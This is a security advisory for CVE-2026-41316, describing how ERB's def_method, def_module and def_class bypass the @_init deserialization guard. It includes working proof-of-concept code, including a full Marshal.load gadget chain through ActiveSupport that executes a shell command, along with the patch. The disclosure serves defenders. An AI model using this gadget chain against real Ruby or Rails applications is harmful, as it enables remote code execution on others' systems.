CVE-2026-41316
ADVISORY - githubSummary
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_class
An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.
The @_init Guard
In ERB#initialize, the guard is set:
# erb.rb line 838
@_init = self.class.singleton_class
In ERB#result and ERB#run, the guard is checked before eval(@src):
# erb.rb line 1008-1012
def result(b=new_toplevel)
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
eval(@src, b, (@filename || '(erb)'), @lineno)
end
When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.
The Bypass
ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:
# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1) # <-- no @_init check
end
end
# erb.rb line 1113-1117
def def_module(methodname='erb') # <-- zero-arg call possible
mod = Module.new
def_method(mod, methodname, @filename || '(ERB)')
mod
end
# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible
cls = Class.new(superklass)
def_method(cls, methodname, @filename || '(ERB)')
cls
end
def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.
Method wrapper breakout
def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:
# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
# def erb
# end
# system('id') <- executes at eval time
# def x
# end
Proof of Concept
Minimal (ERB only)
require 'erb'
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
# ERB#result correctly blocks this:
begin
erb.result
rescue ArgumentError => e
puts "result: #{e.message} (blocked by @_init -- correct)"
end
# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
Marshal deserialization (ERB + ActiveSupport)
When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'
# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
class DeprecatedInstanceVariableProxy
def initialize(h)
h.each { |k, v| instance_variable_set(k, v) }
end
end
end
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
:@instance => erb,
:@method => :def_module,
:@var => "@x",
:@deprecator => Kernel
})
marshaled = Marshal.dump({proxy => 0})
# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)
# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)
Chain:
Marshal.loadreconstructs a Hash with aDeprecatedInstanceVariableProxyas key- Hash key insertion calls
.hashon the proxy .hashis undefined ->method_missing(:hash)-> dispatches toERB#def_moduledef_module->def_method->module_eval(eval(src))-> breakout ->system('id')
Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
Impact
Scope
Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:
- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
- Ruby tools that import untrusted serialized data -- any tool using
Marshal.loadfor caching, data import, or IPC - Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization
Severity justification
The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.
This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
Gadget chain history
Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:
| Year | Chain | Mitigated in |
|---|---|---|
| 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 |
| 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 |
| 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 |
| 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches |
| 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 |
| 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |
Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
- ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:
def def_method(mod, methodname, fname='(ERB)')
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1)
end
end
NIST
2.2
CVSS SCORE
8.1highGitHub
2.2